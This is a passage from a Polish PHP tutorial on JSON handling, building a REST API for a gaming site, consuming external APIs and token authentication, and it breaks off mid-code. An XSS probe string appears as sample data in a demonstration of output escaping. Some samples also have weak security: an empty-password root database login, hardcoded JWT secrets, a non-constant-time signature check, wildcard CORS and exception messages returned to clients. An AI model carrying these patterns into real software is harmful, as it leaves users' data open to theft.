REST API (Representational State Transfer) to architektura tworzenia API wykorzystująca protokół HTTP do komunikacji.

1. JSON – Podstawy

Struktura JSON

{
  "name": "Jan Kowalski",
  "age": 25,
  "active": true,
  "email": null,
  "roles": ["admin", "editor"],
  "address": {
    "city": "Warszawa",
    "zip": "00-001"
  }
}

Typy danych w JSON:

• String: "tekst"
• Number: 42, 3.14
• Boolean: true, false
• null: null
• Array: [1, 2, 3]
• Object: {"key": "value"}

2. json_encode() – Konwersja PHP → JSON

Podstawowe użycie

<?php
// Tablica asocjacyjna → JSON object
$user = [
    'id' => 123,
    'username' => 'ProGamer',
    'email' => 'pro@example.com',
    'active' => true,
    'balance' => null
];

$json = json_encode($user);
echo $json;
// {"id":123,"username":"ProGamer","email":"pro@example.com","active":true,"balance":null}

// Czytelne formatowanie (pretty print)
$json_pretty = json_encode($user, JSON_PRETTY_PRINT);
echo $json_pretty;
/*
{
    "id": 123,
    "username": "ProGamer",
    "email": "pro@example.com",
    "active": true,
    "balance": null
}
*/
?>

Opcje json_encode()

<?php
$data = [
    'name' => 'Janek',
    'city' => 'Kraków',
    'tags' => ['php', 'javascript'],
    'html' => '<script>alert("XSS")</script>',
    'unicode' => 'Zażółć gęślą jaźń',
    'url' => 'https://example.com/path?param=value&other=123'
];

// Domyślnie
echo json_encode($data);
// {"name":"Janek","city":"Krak\u00f3w",...}

// JSON_PRETTY_PRINT - czytelne formatowanie
echo json_encode($data, JSON_PRETTY_PRINT);

// JSON_UNESCAPED_UNICODE - nie escapuj Unicode
echo json_encode($data, JSON_UNESCAPED_UNICODE);
// {"city":"Kraków","unicode":"Zażółć gęślą jaźń"}

// JSON_UNESCAPED_SLASHES - nie escapuj ukośników
echo json_encode($data, JSON_UNESCAPED_SLASHES);
// {"url":"https://example.com/path?param=value&other=123"}

// JSON_HEX_TAG, JSON_HEX_AMP, JSON_HEX_QUOT - bezpieczeństwo XSS
echo json_encode($data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_QUOT);
// {"html":"\u003Cscript\u003Ealert(\"XSS\")\u003C\/script\u003E"}

// JSON_NUMERIC_CHECK - konwertuj string-liczby na liczby
$mixed = ['age' => '25', 'price' => '19.99', 'name' => 'Jan'];
echo json_encode($mixed, JSON_NUMERIC_CHECK);
// {"age":25,"price":19.99,"name":"Jan"}

// JSON_FORCE_OBJECT - wymuś obiekt zamiast tablicy
$indexed_array = ['a', 'b', 'c'];
echo json_encode($indexed_array); // ["a","b","c"]
echo json_encode($indexed_array, JSON_FORCE_OBJECT); // {"0":"a","1":"b","2":"c"}

// Kombinacja opcji (operator |)
echo json_encode($data, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
?>

Sprawdzanie błędów json_encode()

<?php
$data = [
    'name' => 'Test',
    'invalid' => "\xB1\x31" // Nieprawidłowy UTF-8
];

$json = json_encode($data);

if ($json === false) {
    // Błąd podczas konwersji
    echo "Błąd JSON: " . json_last_error_msg() . "<br>";
    echo "Kod błędu: " . json_last_error() . "<br>";
    
    /*
    Kody błędów:
    JSON_ERROR_NONE = 0 - Brak błędu
    JSON_ERROR_DEPTH = 1 - Przekroczono maksymalną głębokość
    JSON_ERROR_STATE_MISMATCH = 2 - Nieprawidłowy lub źle sformułowany JSON
    JSON_ERROR_CTRL_CHAR = 3 - Błąd znaku kontrolnego
    JSON_ERROR_SYNTAX = 4 - Błąd składni
    JSON_ERROR_UTF8 = 5 - Nieprawidłowe znaki UTF-8
    */
} else {
    echo "JSON: $json";
}

// JSON_PARTIAL_OUTPUT_ON_ERROR - zwróć częściowy JSON mimo błędów
$json = json_encode($data, JSON_PARTIAL_OUTPUT_ON_ERROR);
echo $json; // {"name":"Test","invalid":null}
?>

Przykład – Konwersja danych z bazy do JSON

<?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db->connect_error) {
    die('Błąd połączenia');
}

$db->set_charset('utf8mb4');

// Pobierz użytkowników z bazy
$stmt = $db->prepare("SELECT id, username, email, level, coins, created_at FROM users LIMIT 10");
$stmt->execute();
$wynik = $stmt->get_result();

$users = [];
while ($row = $wynik->fetch_assoc()) {
    $users[] = $row;
}

$stmt->close();
$db->close();

// Konwertuj do JSON
header('Content-Type: application/json; charset=utf-8');
echo json_encode([
    'success' => true,
    'count' => count($users),
    'data' => $users
], JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);

/*
Output:
{
    "success": true,
    "count": 10,
    "data": [
        {
            "id": "1",
            "username": "ProGamer",
            "email": "pro@example.com",
            "level": "15",
            "coins": "1000",
            "created_at": "2024-01-15 10:30:00"
        },
        ...
    ]
}
*/
?>

3. json_decode() – Konwersja JSON → PHP

Podstawowe użycie

<?php
$json = '{"id":123,"username":"ProGamer","email":"pro@example.com","active":true}';

// Dekoduj jako obiekt (domyślnie)
$obj = json_decode($json);
echo $obj->username; // ProGamer
echo $obj->email;    // pro@example.com

// Dekoduj jako tablicę asocjacyjną (drugi parametr: true)
$array = json_decode($json, true);
echo $array['username']; // ProGamer
echo $array['email'];    // pro@example.com
?>

Głębokość dekodowania

<?php
$json = '{
    "user": {
        "profile": {
            "address": {
                "city": "Warszawa"
            }
        }
    }
}';

// Domyślna głębokość: 512
$data = json_decode($json, true);
echo $data['user']['profile']['address']['city']; // Warszawa

// Ograniczona głębokość (trzeci parametr)
$data = json_decode($json, true, 2); // Max 2 poziomy
// Błąd - przekroczono głębokość

if (json_last_error() !== JSON_ERROR_NONE) {
    echo "Błąd: " . json_last_error_msg();
}
?>

Sprawdzanie błędów json_decode()

<?php
// Nieprawidłowy JSON
$invalid_json = '{"name":"Test", "age":25,}'; // Przecinek na końcu!

$data = json_decode($invalid_json, true);

if ($data === null && json_last_error() !== JSON_ERROR_NONE) {
    echo "Błąd JSON: " . json_last_error_msg() . "<br>";
    echo "Kod błędu: " . json_last_error() . "<br>";
} else {
    print_r($data);
}

// Funkcja pomocnicza do bezpiecznego dekodowania
function safeJsonDecode($json, $assoc = true) {
    $data = json_decode($json, $assoc);
    
    if (json_last_error() !== JSON_ERROR_NONE) {
        throw new Exception('JSON decode error: ' . json_last_error_msg());
    }
    
    return $data;
}

try {
    $data = safeJsonDecode($invalid_json);
} catch (Exception $e) {
    echo "Błąd: " . $e->getMessage();
}
?>

Przykład – Odbieranie JSON od klienta

<?php
// Odbierz surowe dane POST
$json_input = file_get_contents('php://input');

// Dekoduj JSON
$data = json_decode($json_input, true);

if ($data === null) {
    http_response_code(400); // Bad Request
    echo json_encode([
        'success' => false,
        'error' => 'Invalid JSON: ' . json_last_error_msg()
    ]);
    exit;
}

// Przetwórz dane
$username = $data['username'] ?? '';
$email = $data['email'] ?? '';

// Walidacja
if (empty($username) || empty($email)) {
    http_response_code(400);
    echo json_encode([
        'success' => false,
        'error' => 'Username and email are required'
    ]);
    exit;
}

// Zapisz do bazy...
// ...

// Zwróć odpowiedź JSON
header('Content-Type: application/json');
echo json_encode([
    'success' => true,
    'message' => 'User registered successfully',
    'user_id' => 123
]);
?>

4. REST API – Podstawy

Wyobraź sobie, że masz aplikację, która potrzebuje danych znajdujących się na innym serwerze. Aplikacja nie musi wiedzieć, jak działa baza danych ani jak napisany jest serwer. Wysyła po prostu żądanie do API i otrzymuje odpowiedź.

API (Application Programming Interface) to sposób, w jaki różne programy mogą się ze sobą komunikować.

REST API to API, które wykorzystuje standardowe mechanizmy HTTP, takie jak GET, POST, PUT i DELETE, do pracy z danymi.

Można to porównać do kelnera w restauracji:

Ty (aplikacja)
      ↓
  "Poproszę listę użytkowników"
      ↓
   REST API
      ↓
  pobiera dane z bazy
      ↓
   REST API
      ↓
  zwraca dane w JSON
      ↓
Ty (aplikacja)

Nie musisz wiedzieć, jak API pobrało dane z bazy. Wystarczy, że znasz sposób komunikacji z API.

W naszym projekcie PHP będzie właśnie takim pośrednikiem:

Aplikacja
    ↓
żądanie HTTP
    ↓
REST API w PHP
    ↓
baza danych
    ↓
REST API w PHP
    ↓
odpowiedź JSON
    ↓
Aplikacja

Co oznacza REST?

REST to sposób projektowania API, w którym zasoby, np. użytkownicy, są dostępne pod określonymi adresami, czyli endpointami.

Przykładowo:

GET    /api/v1/users       → pobierz użytkowników
GET    /api/v1/users/5     → pobierz użytkownika o ID 5
POST   /api/v1/users       → utwórz użytkownika
PUT    /api/v1/users/5     → zmień użytkownika o ID 5
DELETE /api/v1/users/5     → usuń użytkownika o ID 5

Dzięki temu sam adres i metoda HTTP mówią nam, co chcemy zrobić.

REST (Representational State Transfer) to styl architektury API wykorzystujący:

• Metody HTTP: GET, POST, PUT, DELETE
• URL-e jako zasoby: /users, /users/123
• Statusy HTTP: 200 OK, 404 Not Found, 500 Error
• Format JSON do wymiany danych

Metody HTTP (CRUD)

Statusy HTTP – Najważniejsze

5. Tworzenie prostego REST API

O projekcie – REST API

W tym projekcie zbudujesz własne REST API w PHP dla serwisu gamingowego.

API będzie pośrednikiem między aplikacją a bazą danych. Użytkownik lub inna aplikacja wysyła żądanie, PHP je obsługuje, wykonuje odpowiednią operację na bazie danych i zwraca wynik w formacie JSON.

W praktyce będziesz mógł:

• pobierać użytkowników,
• dodawać nowych użytkowników,
• edytować ich dane,
• usuwać użytkowników,
• wyszukiwać i filtrować dane,
• korzystać z paginacji.

Do komunikacji wykorzystasz metody HTTP:

GET       → pobierz dane
POST      → dodaj dane
PUT       → zmień dane
DELETE    → usuń dane

API będziesz testować za pomocą Postmana i curl, a później nauczysz się również korzystać z zewnętrznych API, np. GitHub API.

Na dalszym etapie dodasz także autentykację i tokeny, dzięki czemu zobaczysz, jak API może sprawdzać, kto ma prawo korzystać z określonych danych.

Co będzie efektem?

Na końcu będziesz mieć działające API, które potrafi komunikować się z bazą danych i wymieniać dane z innymi aplikacjami.

Najważniejszy schemat, który poznasz w tym projekcie:

aplikacja
    ↓
żądanie HTTP
    ↓
REST API w PHP
    ↓
baza danych
    ↓
REST API w PHP
    ↓
odpowiedź JSON
    ↓
aplikacja

To będzie Twój pierwszy krok w stronę tworzenia backendu, z którego mogą korzystać różne aplikacje, a nie tylko zwykłej strony internetowej.

Struktura projektu

/api
  /v1
    index.php         # Router
    users.php         # Endpoint użytkowników
    config.php        # Konfiguracja
    Database.php      # Klasa bazy danych
    Response.php      # Klasa odpowiedzi

Plik: Response.php – Klasa pomocnicza

<?php
// Response.php

class Response {
    
    public static function json($data, $status_code = 200) {
        http_response_code($status_code);
        header('Content-Type: application/json; charset=utf-8');
        echo json_encode($data, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
        exit;
    }
    
    public static function success($data = [], $message = 'Success', $status_code = 200) {
        self::json([
            'success' => true,
            'message' => $message,
            'data' => $data
        ], $status_code);
    }
    
    public static function error($message = 'Error', $status_code = 400, $errors = []) {
        self::json([
            'success' => false,
            'message' => $message,
            'errors' => $errors
        ], $status_code);
    }
    
    public static function notFound($message = 'Resource not found') {
        self::error($message, 404);
    }
    
    public static function unauthorized($message = 'Unauthorized') {
        self::error($message, 401);
    }
    
    public static function serverError($message = 'Internal server error') {
        self::error($message, 500);
    }
}
?>

Plik: Database.php – Klasa bazy danych

<?php
// Database.php

class Database {
    
    private $connection;
    
    public function __construct() {
        mysqli_report(MYSQLI_REPORT_OFF);
        $this->connection = @new mysqli('localhost', 'root', '', 'gaming_hub');
        
        if ($this->connection->connect_error) {
            throw new Exception('Database connection failed');
        }
        
        $this->connection->set_charset('utf8mb4');
    }
    
    public function query($sql, $params = [], $types = '') {
        $stmt = $this->connection->prepare($sql);
        
        if (!$stmt) {
            throw new Exception('Query preparation failed: ' . $this->connection->error);
        }
        
        if (!empty($params)) {
            $stmt->bind_param($types, ...$params);
        }
        
        if (!$stmt->execute()) {
            throw new Exception('Query execution failed: ' . $stmt->error);
        }
        
        return $stmt;
    }
    
    public function fetchAll($sql, $params = [], $types = '') {
        $stmt = $this->query($sql, $params, $types);
        $result = $stmt->get_result();
        $data = $result->fetch_all(MYSQLI_ASSOC);
        $stmt->close();
        return $data;
    }
    
    public function fetchOne($sql, $params = [], $types = '') {
        $stmt = $this->query($sql, $params, $types);
        $result = $stmt->get_result();
        $data = $result->fetch_assoc();
        $stmt->close();
        return $data;
    }
    
    public function insert($sql, $params = [], $types = '') {
        $stmt = $this->query($sql, $params, $types);
        $insert_id = $stmt->insert_id;
        $stmt->close();
        return $insert_id;
    }
    
    public function update($sql, $params = [], $types = '') {
        $stmt = $this->query($sql, $params, $types);
        $affected_rows = $stmt->affected_rows;
        $stmt->close();
        return $affected_rows;
    }
    
    public function delete($sql, $params = [], $types = '') {
        return $this->update($sql, $params, $types);
    }
    
    public function close() {
        $this->connection->close();
    }
}
?>

Plik: users.php – API użytkowników

<?php
// users.php

require_once 'Response.php';
require_once 'Database.php';

class UsersAPI {
    
    private $db;
    private $method;
    private $user_id;
    
    public function __construct() {
        $this->db = new Database();
        $this->method = $_SERVER['REQUEST_METHOD'];
        
        // Pobierz ID z URL (np. /users/123)
        $uri_parts = explode('/', trim($_SERVER['REQUEST_URI'], '/'));
        $this->user_id = isset($uri_parts[3]) ? (int)$uri_parts[3] : null;
    }
    
    public function handleRequest() {
        
        try {
            switch ($this->method) {
                case 'GET':
                    $this->handleGet();
                    break;
                    
                case 'POST':
                    $this->handlePost();
                    break;
                    
                case 'PUT':
                    $this->handlePut();
                    break;
                    
                case 'DELETE':
                    $this->handleDelete();
                    break;
                    
                default:
                    Response::error('Method not allowed', 405);
            }
            
        } catch (Exception $e) {
            error_log("API Error: " . $e->getMessage());
            Response::serverError($e->getMessage());
        }
    }
    
    // GET - Pobierz użytkowników lub konkretnego użytkownika
    private function handleGet() {
        
        if ($this->user_id) {
            // GET /users/123 - Pobierz konkretnego użytkownika
            $user = $this->db->fetchOne(
                "SELECT id, username, email, level, coins, created_at FROM users WHERE id = ?",
                [$this->user_id],
                'i'
            );
            
            if (!$user) {
                Response::notFound("User with ID {$this->user_id} not found");
            }
            
            Response::success($user, 'User retrieved successfully');
            
        } else {
            // GET /users - Pobierz listę użytkowników
            
            // Paginacja
            $page = isset($_GET['page']) ? max(1, (int)$_GET['page']) : 1;
            $limit = isset($_GET['limit']) ? min(100, max(1, (int)$_GET['limit'])) : 10;
            $offset = ($page - 1) * $limit;
            
            // Filtrowanie
            $where = [];
            $params = [];
            $types = '';
            
            if (isset($_GET['level_min'])) {
                $where[] = "level >= ?";
                $params[] = (int)$_GET['level_min'];
                $types .= 'i';
            }
            
            if (isset($_GET['search'])) {
                $where[] = "(username LIKE ? OR email LIKE ?)";
                $search = '%' . $_GET['search'] . '%';
                $params[] = $search;
                $params[] = $search;
                $types .= 'ss';
            }
            
            $where_sql = !empty($where) ? 'WHERE ' . implode(' AND ', $where) : '';
            
            // Pobierz użytkowników
            $sql = "SELECT id, username, email, level, coins, created_at FROM users $where_sql ORDER BY id DESC LIMIT ? OFFSET ?";
            $params[] = $limit;
            $params[] = $offset;
            $types .= 'ii';
            
            $users = $this->db->fetchAll($sql, $params, $types);
            
            // Pobierz całkowitą liczbę
            $count_sql = "SELECT COUNT(*) as total FROM users $where_sql";
            $count_params = array_slice($params, 0, -2); // Usuń limit i offset
            $count_types = substr($types, 0, -2);
            $count_result = $this->db->fetchOne($count_sql, $count_params, $count_types);
            $total = $count_result['total'];
            
            Response::success([
                'users' => $users,
                'pagination' => [
                    'page' => $page,
                    'limit' => $limit,
                    'total' => (int)$total,
                    'pages' => ceil($total / $limit)
                ]
            ], 'Users retrieved successfully');
        }
    }
    
    // POST - Utwórz nowego użytkownika
    private function handlePost() {
        
        // Pobierz dane JSON
        $json = file_get_contents('php://input');
        $data = json_decode($json, true);
        
        if (!$data) {
            Response::error('Invalid JSON', 400);
        }
        
        // Walidacja
        $errors = [];
        
        $username = trim($data['username'] ?? '');
        if (empty($username)) {
            $errors[] = 'Username is required';
        } elseif (strlen($username) < 3) {
            $errors[] = 'Username must be at least 3 characters';
        }
        
        $email = trim($data['email'] ?? '');
        if (empty($email)) {
            $errors[] = 'Email is required';
        } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            $errors[] = 'Invalid email format';
        }
        
        $password = $data['password'] ?? '';
        if (empty($password)) {
            $errors[] = 'Password is required';
        } elseif (strlen($password) < 8) {
            $errors[] = 'Password must be at least 8 characters';
        }
        
        if (!empty($errors)) {
            Response::error('Validation failed', 400, $errors);
        }
        
        // Sprawdź czy username istnieje
        $existing = $this->db->fetchOne(
            "SELECT id FROM users WHERE username = ?",
            [$username],
            's'
        );
        
        if ($existing) {
            Response::error("Username '$username' is already taken", 409);
        }
        
        // Utwórz użytkownika
        $password_hash = password_hash($password, PASSWORD_DEFAULT);
        
        $new_id = $this->db->insert(
            "INSERT INTO users (username, email, password, created_at) VALUES (?, ?, ?, NOW())",
            [$username, $email, $password_hash],
            'sss'
        );
        
        // Pobierz utworzonego użytkownika
        $user = $this->db->fetchOne(
            "SELECT id, username, email, created_at FROM users WHERE id = ?",
            [$new_id],
            'i'
        );
        
        Response::success($user, 'User created successfully', 201);
    }
    
    // PUT - Zaktualizuj użytkownika
    private function handlePut() {
        
        if (!$this->user_id) {
            Response::error('User ID is required', 400);
        }
        
        // Sprawdź czy użytkownik istnieje
        $user = $this->db->fetchOne(
            "SELECT id FROM users WHERE id = ?",
            [$this->user_id],
            'i'
        );
        
        if (!$user) {
            Response::notFound("User with ID {$this->user_id} not found");
        }
        
        // Pobierz dane JSON
        $json = file_get_contents('php://input');
        $data = json_decode($json, true);
        
        if (!$data) {
            Response::error('Invalid JSON', 400);
        }
        
        // Walidacja
        $email = trim($data['email'] ?? '');
        if (!empty($email) && !filter_var($email, FILTER_VALIDATE_EMAIL)) {
            Response::error('Invalid email format', 400);
        }
        
        $level = isset($data['level']) ? (int)$data['level'] : null;
        $coins = isset($data['coins']) ? (int)$data['coins'] : null;
        
        // Buduj dynamiczne zapytanie UPDATE
        $updates = [];
        $params = [];
        $types = '';
        
        if (!empty($email)) {
            $updates[] = "email = ?";
            $params[] = $email;
            $types .= 's';
        }
        
        if ($level !== null) {
            $updates[] = "level = ?";
            $params[] = $level;
            $types .= 'i';
        }
        
        if ($coins !== null) {
            $updates[] = "coins = ?";
            $params[] = $coins;
            $types .= 'i';
        }
        
        if (empty($updates)) {
            Response::error('No fields to update', 400);
        }
        
        $updates[] = "updated_at = NOW()";
        $params[] = $this->user_id;
        $types .= 'i';
        
        $sql = "UPDATE users SET " . implode(', ', $updates) . " WHERE id = ?";
        
        $affected = $this->db->update($sql, $params, $types);
        
        // Pobierz zaktualizowanego użytkownika
        $updated_user = $this->db->fetchOne(
            "SELECT id, username, email, level, coins, updated_at FROM users WHERE id = ?",
            [$this->user_id],
            'i'
        );
        
        Response::success($updated_user, 'User updated successfully');
    }
    
    // DELETE - Usuń użytkownika
    private function handleDelete() {
        
        if (!$this->user_id) {
            Response::error('User ID is required', 400);
        }
        
        // Sprawdź czy użytkownik istnieje
        $user = $this->db->fetchOne(
            "SELECT id, username FROM users WHERE id = ?",
            [$this->user_id],
            'i'
        );
        
        if (!$user) {
            Response::notFound("User with ID {$this->user_id} not found");
        }
        
        // Usuń użytkownika
        $affected = $this->db->delete(
            "DELETE FROM users WHERE id = ?",
            [$this->user_id],
            'i'
        );
        
        if ($affected > 0) {
            Response::success([
                'deleted_id' => $this->user_id,
                'username' => $user['username']
            ], 'User deleted successfully');
        } else {
            Response::serverError('Failed to delete user');
        }
    }
}

// Wykonaj API
$api = new UsersAPI();
$api->handleRequest();
?>

Plik: index.php – Router

<?php
// index.php

// Nagłówki CORS (pozwól na żądania z innych domen)
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type, Authorization');

// Obsłuż preflight request (OPTIONS)
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    http_response_code(200);
    exit;
}

// Router
$uri = $_SERVER['REQUEST_URI'];
$uri_parts = explode('/', trim($uri, '/'));

// /api/v1/users
if (isset($uri_parts[2]) && $uri_parts[2] === 'users') {
    require_once 'users.php';
    exit;
}

// Nieznany endpoint
require_once 'Response.php';
Response::notFound('Endpoint not found');
?>

Plik: .htaccess – URL Rewriting

# .htaccess

RewriteEngine On

# Przekieruj wszystko na index.php
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ index.php [QSA,L]

6. Testowanie API

Przykłady żądań (curl)

# GET - Pobierz wszystkich użytkowników
curl -X GET "http://localhost/api/v1/users"

# GET - Pobierz użytkownika o ID 1
curl -X GET "http://localhost/api/v1/users/1"

# GET - Pobierz z paginacją
curl -X GET "http://localhost/api/v1/users?page=2&limit=5"

# GET - Pobierz z filtrowaniem
curl -X GET "http://localhost/api/v1/users?level_min=10&search=Pro"

# POST - Utwórz użytkownika
curl -X POST "http://localhost/api/v1/users" \
  -H "Content-Type: application/json" \
  -d '{"username":"NewUser","email":"new@example.com","password":"password123"}'

# PUT - Zaktualizuj użytkownika
curl -X PUT "http://localhost/api/v1/users/1" \
  -H "Content-Type: application/json" \
  -d '{"email":"updated@example.com","level":20}'

# DELETE - Usuń użytkownika
curl -X DELETE "http://localhost/api/v1/users/1"

Testowanie w Postman

1. Pobierz Postman z https://www.postman.com/
2. Utwórz nową kolekcję „Gaming API”
3. Dodaj żądania:
   • GET /users
     • Method: GET
     • URL: http://localhost/api/v1/users
     • Send
   • POST /users:
     • Method: POST
     • URL: http://localhost/api/v1/users
     • Headers: Content-Type: application/json
     • Body → raw → JSON:

{
  "username": "TestUser",
  "email": "test@example.com",
  "password": "password123"
}

7. Konsumowanie zewnętrznych API

file_get_contents() – Proste żądania GET

<?php
// Proste żądanie GET
$url = 'https://jsonplaceholder.typicode.com/users/1';
$response = file_get_contents($url);

if ($response === false) {
    die('Błąd połączenia');
}

$data = json_decode($response, true);
print_r($data);

// Z context (nagłówki, timeout)
$options = [
    'http' => [
        'method' => 'GET',
        'header' => "User-Agent: MyApp/1.0\r\n" .
                    "Accept: application/json\r\n",
        'timeout' => 10
    ]
];

$context = stream_context_create($options);
$response = file_get_contents($url, false, $context);
$data = json_decode($response, true);
?>

cURL – Zaawansowane żądania

<?php
// Funkcja pomocnicza do żądań cURL
function apiRequest($url, $method = 'GET', $data = null, $headers = []) {
    
    $ch = curl_init();
    
    // Ustawienia podstawowe
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    
    // Metoda HTTP
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
    
    // Dane (dla POST, PUT)
    if ($data !== null) {
        $json_data = json_encode($data);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $json_data);
        $headers[] = 'Content-Type: application/json';
        $headers[] = 'Content-Length: ' . strlen($json_data);
    }
    
    // Nagłówki
    if (!empty($headers)) {
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    }
    
    // Wyślij żądanie
    $response = curl_exec($ch);
    
    // Sprawdź błędy
    if (curl_errno($ch)) {
        $error = curl_error($ch);
        curl_close($ch);
        throw new Exception("cURL Error: $error");
    }
    
    // Pobierz kod statusu
    $status_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    curl_close($ch);
    
    return [
        'status_code' => $status_code,
        'body' => json_decode($response, true)
    ];
}

// Przykłady użycia

// GET
try {
    $result = apiRequest('https://jsonplaceholder.typicode.com/users/1', 'GET');
    echo "Status: {$result['status_code']}<br>";
    print_r($result['body']);
    
} catch (Exception $e) {
    echo "Błąd: " . $e->getMessage();
}

// POST
$new_post = [
    'title' => 'Test Post',
    'body' => 'This is a test',
    'userId' => 1
];

$result = apiRequest(
    'https://jsonplaceholder.typicode.com/posts',
    'POST',
    $new_post
);

echo "Created Post ID: " . $result['body']['id'];

// PUT
$updated_post = [
    'title' => 'Updated Title',
    'body' => 'Updated content',
    'userId' => 1
];

$result = apiRequest(
    'https://jsonplaceholder.typicode.com/posts/1',
    'PUT',
    $updated_post
);

// DELETE
$result = apiRequest(
    'https://jsonplaceholder.typicode.com/posts/1',
    'DELETE'
);
?>

Przykład – Integracja z GitHub API

<?php
function getGitHubUser($username) {
    
    $url = "https://api.github.com/users/$username";
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_USERAGENT, 'MyApp/1.0'); // GitHub wymaga User-Agent
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    
    $response = curl_exec($ch);
    $status_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($status_code === 404) {
        return null; // Użytkownik nie znaleziony
    }
    
    if ($status_code !== 200) {
        throw new Exception("GitHub API error: HTTP $status_code");
    }
    
    return json_decode($response, true);
}

try {
    $user = getGitHubUser('octocat');
    
    if ($user) {
        echo "GitHub User: {$user['login']}<br>";
        echo "Name: {$user['name']}<br>";
        echo "Public Repos: {$user['public_repos']}<br>";
        echo "Followers: {$user['followers']}<br>";
        echo "<img src='{$user['avatar_url']}' width='100'><br>";
    } else {
        echo "User not found";
    }
    
} catch (Exception $e) {
    echo "Error: " . $e->getMessage();
}
?>

8. Autentykacja API

API Key – Prosty klucz dostępu

<?php
// Sprawdź API key w nagłówku
$headers = getallheaders();
$api_key = $headers['X-API-Key'] ?? '';

$valid_keys = [
    'abc123xyz' => 'user_1',
    'def456uvw' => 'user_2'
];

if (!isset($valid_keys[$api_key])) {
    Response::unauthorized('Invalid API key');
}

$user_id = $valid_keys[$api_key];
// Kontynuuj przetwarzanie...
?>

Bearer Token – Token w nagłówku Authorization

<?php
// Sprawdź Bearer token
$headers = getallheaders();
$auth_header = $headers['Authorization'] ?? '';

if (!preg_match('/Bearer\s(\S+)/', $auth_header, $matches)) {
    Response::unauthorized('Missing or invalid Authorization header');
}

$token = $matches[1];

// Sprawdź token w bazie
$db = new Database();
$user = $db->fetchOne(
    "SELECT id, username FROM users WHERE api_token = ? AND token_expires_at > NOW()",
    [$token],
    's'
);

if (!$user) {
    Response::unauthorized('Invalid or expired token');
}

// Token OK - kontynuuj
$current_user_id = $user['id'];
?>

JWT (JSON Web Tokens) – Podstawy

<?php
// Prosty JWT (w produkcji użyj biblioteki firebase/php-jwt)

function generateJWT($user_id, $secret_key) {
    
    $header = [
        'typ' => 'JWT',
        'alg' => 'HS256'
    ];
    
    $payload = [
        'user_id' => $user_id,
        'iat' => time(),           // Issued at
        'exp' => time() + (60 * 60) // Expires (1 godzina)
    ];
    
    $base64_header = base64_encode(json_encode($header));
    $base64_payload = base64_encode(json_encode($payload));
    
    $signature = hash_hmac('sha256', "$base64_header.$base64_payload", $secret_key, true);
    $base64_signature = base64_encode($signature);
    
    return "$base64_header.$base64_payload.$base64_signature";
}

function verifyJWT($jwt, $secret_key) {
    
    $parts = explode('.', $jwt);
    
    if (count($parts) !== 3) {
        return false;
    }
    
    list($base64_header, $base64_payload, $base64_signature) = $parts;
    
    // Sprawdź sygnaturę
    $signature = hash_hmac('sha256', "$base64_header.$base64_payload", $secret_key, true);
    $valid_signature = base64_encode($signature);
    
    if ($base64_signature !== $valid_signature) {
        return false;
    }
    
    // Dekoduj payload
    $payload = json_decode(base64_decode($base64_payload), true);
    
    // Sprawdź expiration
    if ($payload['exp'] < time()) {
        return false; // Token wygasł
    }
    
    return $payload;
}

// Użycie
$secret_key = 'your-secret-key-keep-it-safe';

// Generuj token przy logowaniu
$token = generateJWT(123, $secret_key);
echo "Token: $token<br>";

// Weryfikuj token przy żądaniu API
$payload = verifyJWT($token, $secret_key);

if ($payload) {
    echo "User ID: " . $payload['user_id'];
} else {
    echo "Invalid token";
}
?>

Przykład kompleksowy – API z autentykacją

<?php
// auth_api.php

require_once 'Response.php';
require_once 'Database.php';

class AuthAPI {
    
    private $db;
    private $secret_key = 'your-secret-key-change-this';
    
    public function __construct() {
        $this->db = new Database();
    }
    
    public function handleRequest() {
        $method = $_SERVER['REQUEST_METHOD'];
        $uri = $_SERVER['REQUEST_URI'];
        
        // Router
        if (strpos($uri, '/login') !== false && $method === 'POST') {
            $this->login();
        } elseif (strpos($uri, '/register') !== false && $method === 'POST') {
            $this->register();
        } elseif (strpos($uri, '/me') !== false && $method === 'GET') {
            $this->getCurrentUser();
        } else {
            Response::notFound('Endpoint not found');
        }
    }
    
    private function login() {
        $json = file_get_contents('php://input');
        $data = json_decode($json, true);
        
        $username = $data['username'] ?? '';
        $password = $data['password'] ?? '';
        
        if (empty($username) || empty($password)) {
            Response::error('Username and password are required', 400);
        }
        
        // Sprawdź użytkownika
        $user = $this->db->fetchOne(
            "SELECT id, username, password FROM users WHERE username = ?",
            [$username],
            's'
        );
        
        if (!$user || !password_verify($password, $user['password'])) {
            Response::unauthorized('Invalid username or password');
        }
        
        // Generuj token
        $token = $this->generateToken($user['id']);
        
        Response::success([
            'token' => $token,
            'user' => [
                'id' => $user['id'],
                'username' => $user['username']
            ]
        ], 'Login successful');
    }
    
    private function register() {
        $json = file_get_contents('php://input');
        $data = json_decode($json, true);
        
        $username = trim($data['username'] ?? '');
        $email = trim($data['email'] ?? '');
        $password = $data['password'] ?? '';
        
        // Walidacja...
        
        $password_hash = password_hash($password, PASSWORD_DEFAULT);
        
        $new_id = $this->db->insert(
            "INSERT INTO users (username, email, password, created_at) VALUES (?, ?, ?, NOW())",
            [$username, $email, $password_hash],
            'sss'
        );
        
        $token = $this->generateToken($new_id);
        
        Response::success([
            'token' => $token,
